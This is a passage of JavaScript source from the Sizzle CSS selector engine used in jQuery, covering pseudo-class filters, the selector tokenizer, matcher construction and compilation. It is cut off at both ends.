{\n\t\t\t\t\t\t\t\t// ...in a gzip-friendly way\n\t\t\t\t\t\t\t\tnode = elem;\n\t\t\t\t\t\t\t\touterCache = node[ expando ] || (node[ expando ] = {});\n\n\t\t\t\t\t\t\t\t// Support: IE <9 only\n\t\t\t\t\t\t\t\t// Defend against cloned attroperties (jQuery gh-1709)\n\t\t\t\t\t\t\t\tuniqueCache = outerCache[ node.uniqueID ] ||\n\t\t\t\t\t\t\t\t\t(outerCache[ node.uniqueID ] = {});\n\n\t\t\t\t\t\t\t\tcache = uniqueCache[ type ] || [];\n\t\t\t\t\t\t\t\tnodeIndex = cache[ 0 ] === dirruns && cache[ 1 ];\n\t\t\t\t\t\t\t\tdiff = nodeIndex;\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t// xml :nth-child(...)\n\t\t\t\t\t\t\t// or :nth-last-child(...) or :nth(-last)?-of-type(...)\n\t\t\t\t\t\t\tif ( diff === false ) {\n\t\t\t\t\t\t\t\t// Use the same loop as above to seek `elem` from the start\n\t\t\t\t\t\t\t\twhile ( (node = ++nodeIndex && node && node[ dir ] ||\n\t\t\t\t\t\t\t\t\t(diff = nodeIndex = 0) || start.pop()) ) {\n\n\t\t\t\t\t\t\t\t\tif ( ( ofType ?\n\t\t\t\t\t\t\t\t\t\tnode.nodeName.toLowerCase() === name :\n\t\t\t\t\t\t\t\t\t\tnode.nodeType === 1 ) &&\n\t\t\t\t\t\t\t\t\t\t++diff ) {\n\n\t\t\t\t\t\t\t\t\t\t// Cache the index of each encountered element\n\t\t\t\t\t\t\t\t\t\tif ( useCache ) {\n\t\t\t\t\t\t\t\t\t\t\touterCache = node[ expando ] || (node[ expando ] = {});\n\n\t\t\t\t\t\t\t\t\t\t\t// Support: IE <9 only\n\t\t\t\t\t\t\t\t\t\t\t// Defend against cloned attroperties (jQuery gh-1709)\n\t\t\t\t\t\t\t\t\t\t\tuniqueCache = outerCache[ node.uniqueID ] ||\n\t\t\t\t\t\t\t\t\t\t\t\t(outerCache[ node.uniqueID ] = {});\n\n\t\t\t\t\t\t\t\t\t\t\tuniqueCache[ type ] = [ dirruns, diff ];\n\t\t\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t\t\tif ( node === elem ) {\n\t\t\t\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\t// Incorporate the offset, then check against cycle size\n\t\t\t\t\t\tdiff -= last;\n\t\t\t\t\t\treturn diff === first || ( diff % first === 0 && diff / first >= 0 );\n\t\t\t\t\t}\n\t\t\t\t};\n\t\t},\n\n\t\t\"PSEUDO\": function( pseudo, argument ) {\n\t\t\t// pseudo-class names are case-insensitive\n\t\t\t// http://www.w3.org/TR/selectors/#pseudo-classes\n\t\t\t// Prioritize by case sensitivity in case custom pseudos are added with uppercase letters\n\t\t\t// Remember that setFilters inherits from pseudos\n\t\t\tvar args,\n\t\t\t\tfn = Expr.pseudos[ pseudo ] || Expr.setFilters[ pseudo.toLowerCase() ] ||\n\t\t\t\t\tSizzle.error( \"unsupported pseudo: \" + pseudo );\n\n\t\t\t// The user may use createPseudo to indicate that\n\t\t\t// arguments are needed to create the filter function\n\t\t\t// just as Sizzle does\n\t\t\tif ( fn[ expando ] ) {\n\t\t\t\treturn fn( argument );\n\t\t\t}\n\n\t\t\t// But maintain support for old signatures\n\t\t\tif ( fn.length > 1 ) {\n\t\t\t\targs = [ pseudo, pseudo, \"\", argument ];\n\t\t\t\treturn Expr.setFilters.hasOwnProperty( pseudo.toLowerCase() ) ?\n\t\t\t\t\tmarkFunction(function( seed, matches ) {\n\t\t\t\t\t\tvar idx,\n\t\t\t\t\t\t\tmatched = fn( seed, argument ),\n\t\t\t\t\t\t\ti = matched.length;\n\t\t\t\t\t\twhile ( i-- ) {\n\t\t\t\t\t\t\tidx = indexOf( seed, matched[i] );\n\t\t\t\t\t\t\tseed[ idx ] = !( matches[ idx ] = matched[i] );\n\t\t\t\t\t\t}\n\t\t\t\t\t}) :\n\t\t\t\t\tfunction( elem ) {\n\t\t\t\t\t\treturn fn( elem, 0, args );\n\t\t\t\t\t};\n\t\t\t}\n\n\t\t\treturn fn;\n\t\t}\n\t},\n\n\tpseudos: {\n\t\t// Potentially complex pseudos\n\t\t\"not\": markFunction(function( selector ) {\n\t\t\t// Trim the selector passed to compile\n\t\t\t// to avoid treating leading and trailing\n\t\t\t// spaces as combinators\n\t\t\tvar input = [],\n\t\t\t\tresults = [],\n\t\t\t\tmatcher = compile( selector.replace( rtrim, \"$1\" ) );\n\n\t\t\treturn matcher[ expando ] ?\n\t\t\t\tmarkFunction(function( seed, matches, context, xml ) {\n\t\t\t\t\tvar elem,\n\t\t\t\t\t\tunmatched = matcher( seed, null, xml, [] ),\n\t\t\t\t\t\ti = seed.length;\n\n\t\t\t\t\t// Match elements unmatched by `matcher`\n\t\t\t\t\twhile ( i-- ) {\n\t\t\t\t\t\tif ( (elem = unmatched[i]) ) {\n\t\t\t\t\t\t\tseed[i] = !(matches[i] = elem);\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}) :\n\t\t\t\tfunction( elem, context, xml ) {\n\t\t\t\t\tinput[0] = elem;\n\t\t\t\t\tmatcher( input, null, xml, results );\n\t\t\t\t\t// Don't keep the element (issue #299)\n\t\t\t\t\tinput[0] = null;\n\t\t\t\t\treturn !results.pop();\n\t\t\t\t};\n\t\t}),\n\n\t\t\"has\": markFunction(function( selector ) {\n\t\t\treturn function( elem ) {\n\t\t\t\treturn Sizzle( selector, elem ).length > 0;\n\t\t\t};\n\t\t}),\n\n\t\t\"contains\": markFunction(function( text ) {\n\t\t\ttext = text.replace( runescape, funescape );\n\t\t\treturn function( elem ) {\n\t\t\t\treturn ( elem.textContent || elem.innerText || getText( elem ) ).indexOf( text ) > -1;\n\t\t\t};\n\t\t}),\n\n\t\t// \"Whether an element is represented by a :lang() selector\n\t\t// is based solely on the element's language value\n\t\t// being equal to the identifier C,\n\t\t// or beginning with the identifier C immediately followed by \"-\".\n\t\t// The matching of C against the element's language value is performed case-insensitively.\n\t\t// The identifier C does not have to be a valid language name.\"\n\t\t// http://www.w3.org/TR/selectors/#lang-pseudo\n\t\t\"lang\": markFunction( function( lang ) {\n\t\t\t// lang value must be a valid identifier\n\t\t\tif ( !ridentifier.test(lang || \"\") ) {\n\t\t\t\tSizzle.error( \"unsupported lang: \" + lang );\n\t\t\t}\n\t\t\tlang = lang.replace( runescape, funescape ).toLowerCase();\n\t\t\treturn function( elem ) {\n\t\t\t\tvar elemLang;\n\t\t\t\tdo {\n\t\t\t\t\tif ( (elemLang = documentIsHTML ?\n\t\t\t\t\t\telem.lang :\n\t\t\t\t\t\telem.getAttribute(\"xml:lang\") || elem.getAttribute(\"lang\")) ) {\n\n\t\t\t\t\t\telemLang = elemLang.toLowerCase();\n\t\t\t\t\t\treturn elemLang === lang || elemLang.indexOf( lang + \"-\" ) === 0;\n\t\t\t\t\t}\n\t\t\t\t} while ( (elem = elem.parentNode) && elem.nodeType === 1 );\n\t\t\t\treturn false;\n\t\t\t};\n\t\t}),\n\n\t\t// Miscellaneous\n\t\t\"target\": function( elem ) {\n\t\t\tvar hash = window.location && window.location.hash;\n\t\t\treturn hash && hash.slice( 1 ) === elem.id;\n\t\t},\n\n\t\t\"root\": function( elem ) {\n\t\t\treturn elem === docElem;\n\t\t},\n\n\t\t\"focus\": function( elem ) {\n\t\t\treturn elem === document.activeElement && (!document.hasFocus || document.hasFocus()) && !!(elem.type || elem.href || ~elem.tabIndex);\n\t\t},\n\n\t\t// Boolean properties\n\t\t\"enabled\": function( elem ) {\n\t\t\treturn elem.disabled === false;\n\t\t},\n\n\t\t\"disabled\": function( elem ) {\n\t\t\treturn elem.disabled === true;\n\t\t},\n\n\t\t\"checked\": function( elem ) {\n\t\t\t// In CSS3, :checked should return both checked and selected elements\n\t\t\t// http://www.w3.org/TR/2011/REC-css3-selectors-20110929/#checked\n\t\t\tvar nodeName = elem.nodeName.toLowerCase();\n\t\t\treturn (nodeName === \"input\" && !!elem.checked) || (nodeName === \"option\" && !!elem.selected);\n\t\t},\n\n\t\t\"selected\": function( elem ) {\n\t\t\t// Accessing this property makes selected-by-default\n\t\t\t// options in Safari work properly\n\t\t\tif ( elem.parentNode ) {\n\t\t\t\telem.parentNode.selectedIndex;\n\t\t\t}\n\n\t\t\treturn elem.selected === true;\n\t\t},\n\n\t\t// Contents\n\t\t\"empty\": function( elem ) {\n\t\t\t// http://www.w3.org/TR/selectors/#empty-pseudo\n\t\t\t// :empty is negated by element (1) or content nodes (text: 3; cdata: 4; entity ref: 5),\n\t\t\t//   but not by others (comment: 8; processing instruction: 7; etc.)\n\t\t\t// nodeType < 6 works because attributes (2) do not appear as children\n\t\t\tfor ( elem = elem.firstChild; elem; elem = elem.nextSibling ) {\n\t\t\t\tif ( elem.nodeType < 6 ) {\n\t\t\t\t\treturn false;\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn true;\n\t\t},\n\n\t\t\"parent\": function( elem ) {\n\t\t\treturn !Expr.pseudos[\"empty\"]( elem );\n\t\t},\n\n\t\t// Element/input types\n\t\t\"header\": function( elem ) {\n\t\t\treturn rheader.test( elem.nodeName );\n\t\t},\n\n\t\t\"input\": function( elem ) {\n\t\t\treturn rinputs.test( elem.nodeName );\n\t\t},\n\n\t\t\"button\": function( elem ) {\n\t\t\tvar name = elem.nodeName.toLowerCase();\n\t\t\treturn name === \"input\" && elem.type === \"button\" || name === \"button\";\n\t\t},\n\n\t\t\"text\": function( elem ) {\n\t\t\tvar attr;\n\t\t\treturn elem.nodeName.toLowerCase() === \"input\" &&\n\t\t\t\telem.type === \"text\" &&\n\n\t\t\t\t// Support: IE<8\n\t\t\t\t// New HTML5 attribute values (e.g., \"search\") appear with elem.type === \"text\"\n\t\t\t\t( (attr = elem.getAttribute(\"type\")) == null || attr.toLowerCase() === \"text\" );\n\t\t},\n\n\t\t// Position-in-collection\n\t\t\"first\": createPositionalPseudo(function() {\n\t\t\treturn [ 0 ];\n\t\t}),\n\n\t\t\"last\": createPositionalPseudo(function( matchIndexes, length ) {\n\t\t\treturn [ length - 1 ];\n\t\t}),\n\n\t\t\"eq\": createPositionalPseudo(function( matchIndexes, length, argument ) {\n\t\t\treturn [ argument < 0 ? argument + length : argument ];\n\t\t}),\n\n\t\t\"even\": createPositionalPseudo(function( matchIndexes, length ) {\n\t\t\tvar i = 0;\n\t\t\tfor ( ; i < length; i += 2 ) {\n\t\t\t\tmatchIndexes.push( i );\n\t\t\t}\n\t\t\treturn matchIndexes;\n\t\t}),\n\n\t\t\"odd\": createPositionalPseudo(function( matchIndexes, length ) {\n\t\t\tvar i = 1;\n\t\t\tfor ( ; i < length; i += 2 ) {\n\t\t\t\tmatchIndexes.push( i );\n\t\t\t}\n\t\t\treturn matchIndexes;\n\t\t}),\n\n\t\t\"lt\": createPositionalPseudo(function( matchIndexes, length, argument ) {\n\t\t\tvar i = argument < 0 ? argument + length : argument;\n\t\t\tfor ( ; --i >= 0; ) {\n\t\t\t\tmatchIndexes.push( i );\n\t\t\t}\n\t\t\treturn matchIndexes;\n\t\t}),\n\n\t\t\"gt\": createPositionalPseudo(function( matchIndexes, length, argument ) {\n\t\t\tvar i = argument < 0 ? argument + length : argument;\n\t\t\tfor ( ; ++i < length; ) {\n\t\t\t\tmatchIndexes.push( i );\n\t\t\t}\n\t\t\treturn matchIndexes;\n\t\t})\n\t}\n};\n\nExpr.pseudos[\"nth\"] = Expr.pseudos[\"eq\"];\n\n// Add button/input type pseudos\nfor ( i in { radio: true, checkbox: true, file: true, password: true, image: true } ) {\n\tExpr.pseudos[ i ] = createInputPseudo( i );\n}\nfor ( i in { submit: true, reset: true } ) {\n\tExpr.pseudos[ i ] = createButtonPseudo( i );\n}\n\n// Easy API for creating new setFilters\nfunction setFilters() {}\nsetFilters.prototype = Expr.filters = Expr.pseudos;\nExpr.setFilters = new setFilters();\n\ntokenize = Sizzle.tokenize = function( selector, parseOnly ) {\n\tvar matched, match, tokens, type,\n\t\tsoFar, groups, preFilters,\n\t\tcached = tokenCache[ selector + \" \" ];\n\n\tif ( cached ) {\n\t\treturn parseOnly ? 0 : cached.slice( 0 );\n\t}\n\n\tsoFar = selector;\n\tgroups = [];\n\tpreFilters = Expr.preFilter;\n\n\twhile ( soFar ) {\n\n\t\t// Comma and first run\n\t\tif ( !matched || (match = rcomma.exec( soFar )) ) {\n\t\t\tif ( match ) {\n\t\t\t\t// Don't consume trailing commas as valid\n\t\t\t\tsoFar = soFar.slice( match[0].length ) || soFar;\n\t\t\t}\n\t\t\tgroups.push( (tokens = []) );\n\t\t}\n\n\t\tmatched = false;\n\n\t\t// Combinators\n\t\tif ( (match = rcombinators.exec( soFar )) ) {\n\t\t\tmatched = match.shift();\n\t\t\ttokens.push({\n\t\t\t\tvalue: matched,\n\t\t\t\t// Cast descendant combinators to space\n\t\t\t\ttype: match[0].replace( rtrim, \" \" )\n\t\t\t});\n\t\t\tsoFar = soFar.slice( matched.length );\n\t\t}\n\n\t\t// Filters\n\t\tfor ( type in Expr.filter ) {\n\t\t\tif ( (match = matchExpr[ type ].exec( soFar )) && (!preFilters[ type ] ||\n\t\t\t\t(match = preFilters[ type ]( match ))) ) {\n\t\t\t\tmatched = match.shift();\n\t\t\t\ttokens.push({\n\t\t\t\t\tvalue: matched,\n\t\t\t\t\ttype: type,\n\t\t\t\t\tmatches: match\n\t\t\t\t});\n\t\t\t\tsoFar = soFar.slice( matched.length );\n\t\t\t}\n\t\t}\n\n\t\tif ( !matched ) {\n\t\t\tbreak;\n\t\t}\n\t}\n\n\t// Return the length of the invalid excess\n\t// if we're just parsing\n\t// Otherwise, throw an error or return tokens\n\treturn parseOnly ?\n\t\tsoFar.length :\n\t\tsoFar ?\n\t\t\tSizzle.error( selector ) :\n\t\t\t// Cache the tokens\n\t\t\ttokenCache( selector, groups ).slice( 0 );\n};\n\nfunction toSelector( tokens ) {\n\tvar i = 0,\n\t\tlen = tokens.length,\n\t\tselector = \"\";\n\tfor ( ; i < len; i++ ) {\n\t\tselector += tokens[i].value;\n\t}\n\treturn selector;\n}\n\nfunction addCombinator( matcher, combinator, base ) {\n\tvar dir = combinator.dir,\n\t\tcheckNonElements = base && dir === \"parentNode\",\n\t\tdoneName = done++;\n\n\treturn combinator.first ?\n\t\t// Check against closest ancestor/preceding element\n\t\tfunction( elem, context, xml ) {\n\t\t\twhile ( (elem = elem[ dir ]) ) {\n\t\t\t\tif ( elem.nodeType === 1 || checkNonElements ) {\n\t\t\t\t\treturn matcher( elem, context, xml );\n\t\t\t\t}\n\t\t\t}\n\t\t} :\n\n\t\t// Check against all ancestor/preceding elements\n\t\tfunction( elem, context, xml ) {\n\t\t\tvar oldCache, uniqueCache, outerCache,\n\t\t\t\tnewCache = [ dirruns, doneName ];\n\n\t\t\t// We can't set arbitrary data on XML nodes, so they don't benefit from combinator caching\n\t\t\tif ( xml ) {\n\t\t\t\twhile ( (elem = elem[ dir ]) ) {\n\t\t\t\t\tif ( elem.nodeType === 1 || checkNonElements ) {\n\t\t\t\t\t\tif ( matcher( elem, context, xml ) ) {\n\t\t\t\t\t\t\treturn true;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\twhile ( (elem = elem[ dir ]) ) {\n\t\t\t\t\tif ( elem.nodeType === 1 || checkNonElements ) {\n\t\t\t\t\t\touterCache = elem[ expando ] || (elem[ expando ] = {});\n\n\t\t\t\t\t\t// Support: IE <9 only\n\t\t\t\t\t\t// Defend against cloned attroperties (jQuery gh-1709)\n\t\t\t\t\t\tuniqueCache = outerCache[ elem.uniqueID ] || (outerCache[ elem.uniqueID ] = {});\n\n\t\t\t\t\t\tif ( (oldCache = uniqueCache[ dir ]) &&\n\t\t\t\t\t\t\toldCache[ 0 ] === dirruns && oldCache[ 1 ] === doneName ) {\n\n\t\t\t\t\t\t\t// Assign to newCache so results back-propagate to previous elements\n\t\t\t\t\t\t\treturn (newCache[ 2 ] = oldCache[ 2 ]);\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t// Reuse newcache so results back-propagate to previous elements\n\t\t\t\t\t\t\tuniqueCache[ dir ] = newCache;\n\n\t\t\t\t\t\t\t// A match means we're done; a fail means we have to keep checking\n\t\t\t\t\t\t\tif ( (newCache[ 2 ] = matcher( elem, context, xml )) ) {\n\t\t\t\t\t\t\t\treturn true;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t};\n}\n\nfunction elementMatcher( matchers ) {\n\treturn matchers.length > 1 ?\n\t\tfunction( elem, context, xml ) {\n\t\t\tvar i = matchers.length;\n\t\t\twhile ( i-- ) {\n\t\t\t\tif ( !matchers[i]( elem, context, xml ) ) {\n\t\t\t\t\treturn false;\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn true;\n\t\t} :\n\t\tmatchers[0];\n}\n\nfunction multipleContexts( selector, contexts, results ) {\n\tvar i = 0,\n\t\tlen = contexts.length;\n\tfor ( ; i < len; i++ ) {\n\t\tSizzle( selector, contexts[i], results );\n\t}\n\treturn results;\n}\n\nfunction condense( unmatched, map, filter, context, xml ) {\n\tvar elem,\n\t\tnewUnmatched = [],\n\t\ti = 0,\n\t\tlen = unmatched.length,\n\t\tmapped = map != null;\n\n\tfor ( ; i < len; i++ ) {\n\t\tif ( (elem = unmatched[i]) ) {\n\t\t\tif ( !filter || filter( elem, context, xml ) ) {\n\t\t\t\tnewUnmatched.push( elem );\n\t\t\t\tif ( mapped ) {\n\t\t\t\t\tmap.push( i );\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\treturn newUnmatched;\n}\n\nfunction setMatcher( preFilter, selector, matcher, postFilter, postFinder, postSelector ) {\n\tif ( postFilter && !postFilter[ expando ] ) {\n\t\tpostFilter = setMatcher( postFilter );\n\t}\n\tif ( postFinder && !postFinder[ expando ] ) {\n\t\tpostFinder = setMatcher( postFinder, postSelector );\n\t}\n\treturn markFunction(function( seed, results, context, xml ) {\n\t\tvar temp, i, elem,\n\t\t\tpreMap = [],\n\t\t\tpostMap = [],\n\t\t\tpreexisting = results.length,\n\n\t\t\t// Get initial elements from seed or context\n\t\t\telems = seed || multipleContexts( selector || \"*\", context.nodeType ? [ context ] : context, [] ),\n\n\t\t\t// Prefilter to get matcher input, preserving a map for seed-results synchronization\n\t\t\tmatcherIn = preFilter && ( seed || !selector ) ?\n\t\t\t\tcondense( elems, preMap, preFilter, context, xml ) :\n\t\t\t\telems,\n\n\t\t\tmatcherOut = matcher ?\n\t\t\t\t// If we have a postFinder, or filtered seed, or non-seed postFilter or preexisting results,\n\t\t\t\tpostFinder || ( seed ? preFilter : preexisting || postFilter ) ?\n\n\t\t\t\t\t// ...intermediate processing is necessary\n\t\t\t\t\t[] :\n\n\t\t\t\t\t// ...otherwise use results directly\n\t\t\t\t\tresults :\n\t\t\t\tmatcherIn;\n\n\t\t// Find primary matches\n\t\tif ( matcher ) {\n\t\t\tmatcher( matcherIn, matcherOut, context, xml );\n\t\t}\n\n\t\t// Apply postFilter\n\t\tif ( postFilter ) {\n\t\t\ttemp = condense( matcherOut, postMap );\n\t\t\tpostFilter( temp, [], context, xml );\n\n\t\t\t// Un-match failing elements by moving them back to matcherIn\n\t\t\ti = temp.length;\n\t\t\twhile ( i-- ) {\n\t\t\t\tif ( (elem = temp[i]) ) {\n\t\t\t\t\tmatcherOut[ postMap[i] ] = !(matcherIn[ postMap[i] ] = elem);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tif ( seed ) {\n\t\t\tif ( postFinder || preFilter ) {\n\t\t\t\tif ( postFinder ) {\n\t\t\t\t\t// Get the final matcherOut by condensing this intermediate into postFinder contexts\n\t\t\t\t\ttemp = [];\n\t\t\t\t\ti = matcherOut.length;\n\t\t\t\t\twhile ( i-- ) {\n\t\t\t\t\t\tif ( (elem = matcherOut[i]) ) {\n\t\t\t\t\t\t\t// Restore matcherIn since elem is not yet a final match\n\t\t\t\t\t\t\ttemp.push( (matcherIn[i] = elem) );\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\tpostFinder( null, (matcherOut = []), temp, xml );\n\t\t\t\t}\n\n\t\t\t\t// Move matched elements from seed to results to keep them synchronized\n\t\t\t\ti = matcherOut.length;\n\t\t\t\twhile ( i-- ) {\n\t\t\t\t\tif ( (elem = matcherOut[i]) &&\n\t\t\t\t\t\t(temp = postFinder ? indexOf( seed, elem ) : preMap[i]) > -1 ) {\n\n\t\t\t\t\t\tseed[temp] = !(results[temp] = elem);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t// Add elements to results, through postFinder if defined\n\t\t} else {\n\t\t\tmatcherOut = condense(\n\t\t\t\tmatcherOut === results ?\n\t\t\t\t\tmatcherOut.splice( preexisting, matcherOut.length ) :\n\t\t\t\t\tmatcherOut\n\t\t\t);\n\t\t\tif ( postFinder ) {\n\t\t\t\tpostFinder( null, results, matcherOut, xml );\n\t\t\t} else {\n\t\t\t\tpush.apply( results, matcherOut );\n\t\t\t}\n\t\t}\n\t});\n}\n\nfunction matcherFromTokens( tokens ) {\n\tvar checkContext, matcher, j,\n\t\tlen = tokens.length,\n\t\tleadingRelative = Expr.relative[ tokens[0].type ],\n\t\timplicitRelative = leadingRelative || Expr.relative[\" \"],\n\t\ti = leadingRelative ? 1 : 0,\n\n\t\t// The foundational matcher ensures that elements are reachable from top-level context(s)\n\t\tmatchContext = addCombinator( function( elem ) {\n\t\t\treturn elem === checkContext;\n\t\t}, implicitRelative, true ),\n\t\tmatchAnyContext = addCombinator( function( elem ) {\n\t\t\treturn indexOf( checkContext, elem ) > -1;\n\t\t}, implicitRelative, true ),\n\t\tmatchers = [ function( elem, context, xml ) {\n\t\t\tvar ret = ( !leadingRelative && ( xml || context !== outermostContext ) ) || (\n\t\t\t\t(checkContext = context).nodeType ?\n\t\t\t\t\tmatchContext( elem, context, xml ) :\n\t\t\t\t\tmatchAnyContext( elem, context, xml ) );\n\t\t\t// Avoid hanging onto element (issue #299)\n\t\t\tcheckContext = null;\n\t\t\treturn ret;\n\t\t} ];\n\n\tfor ( ; i < len; i++ ) {\n\t\tif ( (matcher = Expr.relative[ tokens[i].type ]) ) {\n\t\t\tmatchers = [ addCombinator(elementMatcher( matchers ), matcher) ];\n\t\t} else {\n\t\t\tmatcher = Expr.filter[ tokens[i].type ].apply( null, tokens[i].matches );\n\n\t\t\t// Return special upon seeing a positional matcher\n\t\t\tif ( matcher[ expando ] ) {\n\t\t\t\t// Find the next relative operator (if any) for proper handling\n\t\t\t\tj = ++i;\n\t\t\t\tfor ( ; j < len; j++ ) {\n\t\t\t\t\tif ( Expr.relative[ tokens[j].type ] ) {\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\treturn setMatcher(\n\t\t\t\t\ti > 1 && elementMatcher( matchers ),\n\t\t\t\t\ti > 1 && toSelector(\n\t\t\t\t\t\t// If the preceding token was a descendant combinator, insert an implicit any-element `*`\n\t\t\t\t\t\ttokens.slice( 0, i - 1 ).concat({ value: tokens[ i - 2 ].type === \" \" ? \"*\" : \"\" })\n\t\t\t\t\t).replace( rtrim, \"$1\" ),\n\t\t\t\t\tmatcher,\n\t\t\t\t\ti < j && matcherFromTokens( tokens.slice( i, j ) ),\n\t\t\t\t\tj < len && matcherFromTokens( (tokens = tokens.slice( j )) ),\n\t\t\t\t\tj < len && toSelector( tokens )\n\t\t\t\t);\n\t\t\t}\n\t\t\tmatchers.push( matcher );\n\t\t}\n\t}\n\n\treturn elementMatcher( matchers );\n}\n\nfunction matcherFromGroupMatchers( elementMatchers, setMatchers ) {\n\tvar bySet = setMatchers.length > 0,\n\t\tbyElement = elementMatchers.length > 0,\n\t\tsuperMatcher = function( seed, context, xml, results, outermost ) {\n\t\t\tvar elem, j, matcher,\n\t\t\t\tmatchedCount = 0,\n\t\t\t\ti = \"0\",\n\t\t\t\tunmatched = seed && [],\n\t\t\t\tsetMatched = [],\n\t\t\t\tcontextBackup = outermostContext,\n\t\t\t\t// We must always have either seed elements or outermost context\n\t\t\t\telems = seed || byElement && Expr.find[\"TAG\"]( \"*\", outermost ),\n\t\t\t\t// Use integer dirruns iff this is the outermost matcher\n\t\t\t\tdirrunsUnique = (dirruns += contextBackup == null ? 1 : Math.random() || 0.1),\n\t\t\t\tlen = elems.length;\n\n\t\t\tif ( outermost ) {\n\t\t\t\toutermostContext = context === document || context || outermost;\n\t\t\t}\n\n\t\t\t// Add elements passing elementMatchers directly to results\n\t\t\t// Support: IE<9, Safari\n\t\t\t// Tolerate NodeList properties (IE: \"length\"; Safari: <number>) matching elements by id\n\t\t\tfor ( ; i !== len && (elem = elems[i]) != null; i++ ) {\n\t\t\t\tif ( byElement && elem ) {\n\t\t\t\t\tj = 0;\n\t\t\t\t\tif ( !context && elem.ownerDocument !== document ) {\n\t\t\t\t\t\tsetDocument( elem );\n\t\t\t\t\t\txml = !documentIsHTML;\n\t\t\t\t\t}\n\t\t\t\t\twhile ( (matcher = elementMatchers[j++]) ) {\n\t\t\t\t\t\tif ( matcher( elem, context || document, xml) ) {\n\t\t\t\t\t\t\tresults.push( elem );\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\tif ( outermost ) {\n\t\t\t\t\t\tdirruns = dirrunsUnique;\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\t// Track unmatched elements for set filters\n\t\t\t\tif ( bySet ) {\n\t\t\t\t\t// They will have gone through all possible matchers\n\t\t\t\t\tif ( (elem = !matcher && elem) ) {\n\t\t\t\t\t\tmatchedCount--;\n\t\t\t\t\t}\n\n\t\t\t\t\t// Lengthen the array for every element, matched or not\n\t\t\t\t\tif ( seed ) {\n\t\t\t\t\t\tunmatched.push( elem );\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// `i` is now the count of elements visited above, and adding it to `matchedCount`\n\t\t\t// makes the latter nonnegative.\n\t\t\tmatchedCount += i;\n\n\t\t\t// Apply set filters to unmatched elements\n\t\t\t// NOTE: This can be skipped if there are no unmatched elements (i.e., `matchedCount`\n\t\t\t// equals `i`), unless we didn't visit _any_ elements in the above loop because we have\n\t\t\t// no element matchers and no seed.\n\t\t\t// Incrementing an initially-string \"0\" `i` allows `i` to remain a string only in that\n\t\t\t// case, which will result in a \"00\" `matchedCount` that differs from `i` but is also\n\t\t\t// numerically zero.\n\t\t\tif ( bySet && i !== matchedCount ) {\n\t\t\t\tj = 0;\n\t\t\t\twhile ( (matcher = setMatchers[j++]) ) {\n\t\t\t\t\tmatcher( unmatched, setMatched, context, xml );\n\t\t\t\t}\n\n\t\t\t\tif ( seed ) {\n\t\t\t\t\t// Reintegrate element matches to eliminate the need for sorting\n\t\t\t\t\tif ( matchedCount > 0 ) {\n\t\t\t\t\t\twhile ( i-- ) {\n\t\t\t\t\t\t\tif ( !(unmatched[i] || setMatched[i]) ) {\n\t\t\t\t\t\t\t\tsetMatched[i] = pop.call( results );\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\n\t\t\t\t\t// Discard index placeholder values to get only actual matches\n\t\t\t\t\tsetMatched = condense( setMatched );\n\t\t\t\t}\n\n\t\t\t\t// Add matches to results\n\t\t\t\tpush.apply( results, setMatched );\n\n\t\t\t\t// Seedless set matches succeeding multiple successful matchers stipulate sorting\n\t\t\t\tif ( outermost && !seed && setMatched.length > 0 &&\n\t\t\t\t\t( matchedCount + setMatchers.length ) > 1 ) {\n\n\t\t\t\t\tSizzle.uniqueSort( results );\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// Override manipulation of globals by nested matchers\n\t\t\tif ( outermost ) {\n\t\t\t\tdirruns = dirrunsUnique;\n\t\t\t\toutermostContext = contextBackup;\n\t\t\t}\n\n\t\t\treturn unmatched;\n\t\t};\n\n\treturn bySet ?\n\t\tmarkFunction( superMatcher ) :\n\t\tsuperMatcher;\n}\n\ncompile = Sizzle.compile = function( selector, match /* Internal Use Only */ ) {\n\tvar i,\n\t\tsetMatchers = [],\n\t\telementMatchers = [],\n\t\tcached = compilerCache[ selector + \" \" ];\n\n\tif ( !cached ) {\n\t\t// Generate a function of recursive functions that can be used to check each element\n\t\tif ( !match ) {\n\t\t\tmatch = tokenize( selector );\n\t\t}\n\t\ti = match.length;\n\t\twhile ( i-- ) {\n\t\t\tcached = matcherFromTokens( match[i] );\n\t\t\tif ( cached[ expando ] ) {\n\t\t\t\tsetMatchers.push( cached );\n\t\t\t} else {\n\t\t\t\telementMatchers.push( cached );\n\t\t\t}\n\t\t}\n\n\t\t// Cache the compiled function\n\t\tcached = compilerCache( selector, matcherFromGroupMatchers( elementMatchers, setMatchers ) );\n\n\t\t// Save selector and tokenization\n\t\tcached.selector = selector;\n\t}\n\treturn cached;\n};\n\n/**\n * A low-level selection function that works with Sizzle's compiled\n *  selector functions\n * @param {String|Function} selector A selector or a pre-compiled\n *  selector function built with Sizzle.compile\n * @param {Element} context\n * @param {Array} [results]\n * @param {Array} [seed] A set of elements to match against\n */\nselect = Sizzle.select = function( selector, context, results, seed ) {\n\tvar i, tokens, token, type, find,\n\t\tcompiled = typeof selector === \"function\" && selector,\n\t\tmatch = !seed && tokenize( (selector = compiled.selector || selector) );\n\n\tresults = results || [];\n\n\t// 